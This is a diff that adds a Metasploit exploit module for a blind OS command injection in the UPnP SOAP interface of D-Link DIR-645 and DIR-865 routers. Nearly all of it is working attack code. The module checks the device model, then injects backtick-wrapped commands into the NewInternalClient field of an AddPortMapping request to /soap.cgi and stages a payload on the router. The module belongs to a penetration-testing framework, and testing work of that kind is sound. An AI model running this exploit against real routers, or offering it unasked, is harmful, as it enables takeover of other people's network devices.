|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::CmdStager |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'D-Link Devices UPnP SOAP Command Execution', |
| 17 | + 'Description' => %q{ |
| 18 | + Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP |
| 19 | + interface. Since it is a blind OS command injection vulnerability, there is no |
| 20 | + output for the executed command. This module has been tested on DIR-865 and DIR-645 devices. |
| 21 | + }, |
| 22 | + 'Author' => |
| 23 | + [ |
| 24 | + 'Michael Messner <[email protected]>', # Vulnerability discovery and Metasploit module |
| 25 | + 'juan vazquez' # minor help with msf module |
| 26 | + ], |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'References' => |
| 29 | + [ |
| 30 | + [ 'OSVDB', '94924' ], |
| 31 | + [ 'BID', '61005' ], |
| 32 | + [ 'EDB', '26664' ], |
| 33 | + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ] |
| 34 | + ], |
| 35 | + 'DisclosureDate' => 'Jul 05 2013', |
| 36 | + 'Privileged' => true, |
| 37 | + 'Payload' => |
| 38 | + { |
| 39 | + 'DisableNops' => true |
| 40 | + }, |
| 41 | + 'Targets' => |
| 42 | + [ |
| 43 | + [ 'MIPS Little Endian', |
| 44 | + { |
| 45 | + 'Platform' => 'linux', |
| 46 | + 'Arch' => ARCH_MIPSLE |
| 47 | + } |
| 48 | + ], |
| 49 | + [ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target |
| 50 | + { |
| 51 | + 'Platform' => 'linux', |
| 52 | + 'Arch' => ARCH_MIPS |
| 53 | + } |
| 54 | + ], |
| 55 | + ], |
| 56 | + 'DefaultTarget' => 0 |
| 57 | + )) |
| 58 | + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') |
| 59 | + end |
| 60 | + |
| 61 | + def check |
| 62 | + begin |
| 63 | + res = send_request_cgi({ |
| 64 | + 'uri' => '/InternetGatewayDevice.xml' |
| 65 | + }) |
| 66 | + if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /<modelNumber>DIR-645<\/modelNumber>/ |
| 67 | + return Exploit::CheckCode::Detected |
| 68 | + end |
| 69 | + rescue ::Rex::ConnectionError |
| 70 | + return Exploit::CheckCode::Unknown |
| 71 | + end |
| 72 | + |
| 73 | + Exploit::CheckCode::Unknown |
| 74 | + end |
| 75 | + |
| 76 | + def exploit |
| 77 | + print_status("#{peer} - Trying to access the vulnerable URL...") |
| 78 | + |
| 79 | + unless check == Exploit::CheckCode::Detected |
| 80 | + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") |
| 81 | + end |
| 82 | + |
| 83 | + print_status("#{peer} - Exploiting...") |
| 84 | + |
| 85 | + execute_cmdstager( |
| 86 | + :flavor => :echo, |
| 87 | + :linemax => 400, |
| 88 | + ) |
| 89 | + end |
| 90 | + |
| 91 | + def execute_command(cmd, opts) |
| 92 | + new_portmapping_descr = rand_text_alpha(8) |
| 93 | + new_external_port = rand(32767) + 32768 |
| 94 | + new_internal_port = rand(32767) + 32768 |
| 95 | + |
| 96 | + uri = '/soap.cgi' |
| 97 | + |
| 98 | + soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" |
| 99 | + |
| 100 | + data_cmd = "<?xml version=\"1.0\"?>" |
| 101 | + data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" |
| 102 | + data_cmd << "<SOAP-ENV:Body>" |
| 103 | + data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">" |
| 104 | + data_cmd << "<NewPortMappingDescription>#{new_portmapping_descr}</NewPortMappingDescription>" |
| 105 | + data_cmd << "<NewLeaseDuration></NewLeaseDuration>" |
| 106 | + data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>" |
| 107 | + data_cmd << "<NewEnabled>1</NewEnabled>" |
| 108 | + data_cmd << "<NewExternalPort>#{new_external_port}</NewExternalPort>" |
| 109 | + data_cmd << "<NewRemoteHost></NewRemoteHost>" |
| 110 | + data_cmd << "<NewProtocol>TCP</NewProtocol>" |
| 111 | + data_cmd << "<NewInternalPort>#{new_internal_port}</NewInternalPort>" |
| 112 | + data_cmd << "</m:AddPortMapping>" |
| 113 | + data_cmd << "</SOAP-ENV:Body>" |
| 114 | + data_cmd << "</SOAP-ENV:Envelope>" |
| 115 | + |
| 116 | + begin |
| 117 | + res = send_request_cgi({ |
| 118 | + 'uri' => uri, |
| 119 | + 'vars_get' => { |
| 120 | + 'service' => 'WANIPConn1' |
| 121 | + }, |
| 122 | + 'ctype' => "text/xml", |
| 123 | + 'method' => 'POST', |
| 124 | + 'headers' => { |
| 125 | + 'SOAPAction' => soapaction, |
| 126 | + }, |
| 127 | + 'data' => data_cmd |
| 128 | + }) |
| 129 | + return res |
| 130 | + rescue ::Rex::ConnectionError |
| 131 | + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") |
| 132 | + end |
| 133 | + end |
| 134 | +end |
0 commit comments